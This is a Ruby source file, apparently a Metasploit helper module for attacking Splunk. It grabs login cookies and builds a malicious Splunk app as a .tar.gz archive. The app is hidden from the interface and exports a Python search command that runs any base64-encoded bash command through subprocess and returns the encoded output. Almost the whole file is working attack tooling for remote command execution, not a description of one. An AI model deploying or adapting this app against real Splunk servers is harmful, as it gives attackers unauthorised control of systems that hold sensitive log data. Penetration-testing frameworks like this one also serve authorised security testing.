# -*- coding: binary -*-

# Module with helper methods for other Splunk module methods
module Msf::Exploit::Remote::HTTP::Splunk::Helpers
  # Helper method to get tokens for login
  #
  # @param timeout [Integer] The maximum number of seconds to wait before the request times out
  # @return [String, nil] Post data to use for login
  def splunk_helper_extract_token(timeout = 20)
    res = send_request_cgi({
      'uri' => splunk_url_login,
      'method' => 'GET',
      'keep_cookies' => true
    }, timeout)

    unless res&.code == 200
      vprint_error('Unable to get login tokens')
      return nil
    end
    "session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies
  end

  # Helper method to construct malicious app in .tar.gz form
  #
  # @param app_name [String] Name of app to upload
  # @return [Rex::Text] Malicious app in .tar.gz form
  def splunk_helper_malicious_app(app_name)
    # metadata folder
    metadata = <<~EOF
      [commands]
      export = system
    EOF

    # default folder
    commands_conf = <<~EOF
      [#{app_name}]
      type = python
      filename = #{app_name}.py
      local = false
      enableheader = false
      streaming = false
      perf_warn_limit = 0
    EOF

    app_conf = <<~EOF
      [launcher]
      author=#{Faker::Name.name}
      description=#{Faker::Lorem.sentence}
      version=#{Faker::App.version}

      [ui]
      is_visible = false
    EOF

    # bin folder
    msf_exec_py = <<~EOF
      import sys, base64, subprocess
      import splunk.Intersplunk

      header = ['result']
      results = []

      try:
        proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        output = proc.stdout.read()
        results.append({'result': base64.b64encode(output).decode('utf-8')})
      except Exception as e:
        error_msg = 'Error : ' + str(e)
        results = splunk.Intersplunk.generateErrorResults(error_msg)

      splunk.Intersplunk.outputResults(results, fields=header)
    EOF

    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
        io.write metadata
      end
      tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
        io.write commands_conf
      end
      tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
        io.write app_conf
      end
      tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
        io.write msf_exec_py
      end
    end
    tarfile.rewind
    tarfile.close

    Rex::Text.gzip(tarfile.string)
  end
end
